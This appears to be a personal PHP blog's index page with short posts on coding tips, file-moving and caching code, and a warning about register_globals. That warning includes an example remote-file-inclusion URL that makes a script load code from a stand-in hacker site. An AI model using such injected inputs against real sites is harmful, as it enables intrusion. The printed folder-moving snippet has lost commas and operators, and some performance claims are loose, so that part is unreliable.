Rent A Coder – Resume Page Ratings to RSS

Myself is more or less active at RAC, and wanted to show off my buyers comments in a page for promoting me. And wrote this script rac2rss. Download from here.

The main script is rac2rss.php, change the line [php] $coder_id = “1242159”; [/php], in rac2rss.php to get your resume. [php] $myFileMgr = new fileMgr(‘./cache’,7 * 24 * 60 * 60); [/php] defines the cache, and the cache folder should be world / webserver writable, and it can be outside web path for security reasons, only that the absolute or relative path should be provided, as well the lifetime is in seconds, actually in the said script I have put it as a week.

As a last note, thanks to all members and maintainers of RAC, for making it a wonderful place for all of us.

Moving contents from one folder to another

We always try to store images in a web path where heavy image linking is needed, and mostly the images will be categorised in some sort of directory tree.. to limit the no of files in a folder.

Once editing, for example, re assinging a set of students from one scientist to another, was needed, and the hell, we had to face.. finally the following piece of code was written, for a future reuse.

<?php
function mkdir_r($dirName$rights=0777){
        
$dirs explode('/'$dirName);
        
$dir='';
        foreach (
$dirs as $part) {
        
$dir.=$part.'/';
        if (!
is_dir($dir) && strlen($dir)>0)
                
mkdir($dir$rights);
        }
}
 
function 
xMove($source$target$drop true){
        if(!
is_dir($source)) return false;
        if(!
is_dir($target)) mkdir_r($target);
 
        
$d dir($source);
        while (
false !== ($entry $d->read())) {
                if(!
is_dir($source"/$entry")){
                        
copy($source "/$entry"$target "/$entry");
                        
unlink($source "/$entry");
                }
        }
        
$d->close();
        if(
$drop)
                
rmdir($source);
}
 
?>

If any body is wondering (just a thought) how I have managed the colour highlighting, then better take a look at Phpizer Plugin

PHP – Quotes or No quotes in associative Array?

Our team was having a debate on why we should put a ‘ (single quote) when referencing arrays in php. Well what is the problem if we use $_SESSION[key], instead of $_SESSION[‘key’].

Well when you think that when encountering non functions or keywords, php tries to evaluate it as a declared constant. So referencing $_SESSION[‘key’] would be better against $_SESSION[key], unless we have defined the constant key and want to use the value of key.

Single Quotes vs Double Quotes!

I recommend using ‘ (single quotes) when programming with PHP; Always use ‘ (single quotes) unless you need the features of ” (double quotes). You might think it’s much easier to write code as:

echo "Today is the $day of $month";

However, using single quotes forces variables to be outside the quotes; instead when you use the ” (double quotes), forces php to evaluate the string, where as with ‘ (single quotes), the string content is taken as such.

error_reporting(E_ALL); make code faster

The single most important thing I tell people who use PHP is to turn error reporting to its maximum level. Why would I want to do this? Generally the error reporting is set at a level that will hide many little things like:

  • declaring a variable ahead of time,
  • referencing a variable that is not available in that segment of code, or
  • using a define that is not set

These factors might not seem like that big a deal — until you develop structured or object oriented programs with functions and classes. Too often, writing code with the error reporting turned up high would cost you hours as you scoured long functions that didn’t work because a variable was misspelled or not accessible.

PHP won’t tell you anything in that case it’ll just create the new variable for you and initialize it to zero. The remedy is to put the following line at the top of every PHP document as you develop:

error_reporting(E_ALL);

It simply forces the error reporting to be at its highest level. Try putting this line in other PHP programs, and more often than not you’ll receive a barrage of warning messages that identify all the potentially wrong elements of the code.

Eventually this when enabled, will force you to write cleaner, structured and fast code.

register_globals = on; suicidal

Yes, unless care is taken while coding. Imagine register globals is on and a include uses a variable from the user submission or from coded in urls like page.php?v=mod/login.php, well this can be manually rewritten to page.php?v=https://any.hacker.site/php_hacktool/hacktool.txt, which will eventually force php to include the remote hostile code into your code.. and provide a method for cunning, hackers to check, inspect or even alter the content.

Check Point Software

SiteX – The Automated Personal Website

SiteX is a web tool that will enable you to start your own dynamic website in under 5 minutes. Driven by PHP and MySQL, SiteX is comprised of components common to most personal websites including a photo gallery, journal, calendar/events, guestbook, link manager, forum and web polls. Everything in SiteX is managed via your own personal administration panel. Additional pages can also be added by the user by preference through the easy WYSIWYG editor. SiteX utilizes an advanced control panel that lets the end-user completely customize the site down to the colors, text, pages, components, navigation, and advanced options.

See some of the sites hosted with saturn which were personalized by in house designers with the support from the respective maintainters.

From the features available in the above listed sites, as well as the design aspect, one can know well that SiteX is going to make the hits.

Visit the SiteX Home: https://sitex.bjsintay.com/

File Caching Class

Howdy,

This comes useful when you think about getting content from other sites like RSS Feeds, text feeds, currency conversion rates etc. I tried to make this several times without such an enhancement. Finally the need arose and I have made this a reality.

I will need to find a better code highlighter plugin for wordpress before I can post many php codes and classes. Meanwhile this is being trying for a change:

Continue reading “File Caching Class”

A file proxy class

In a recent web project of mine, it was needed to offload some mp3 files to another server as per the hosting providers specifications. 😉 these could not be overidden since the service was free for a specific purpose. The database was on a different server, and as most of you know, this does not affect php a bit.

But the media bifurcation did take me for a spell. On my test bed, I was using readfile() to read the contents of the mp3file to the browser, after providing correct header tags. In the test server this was working fine, since the file urls were relative ofcourse. I checked through the hosting system using phpinfo() and did confirm the url_fopen wrappers were enabled. But to my dismay, when loaded on to the hosting space, it seemed that the readfile was failing and hence I needed a different method.

Then like a thunderbolt this idea of a file proxy class came to my mind. And this was implemented. It works for me and my project. There may be different view points, as well as enhancements. I would appreciate it if some one could enhance it in case the url_fopen wrappers is disabled in the php configuration.

Continue reading "A file proxy class"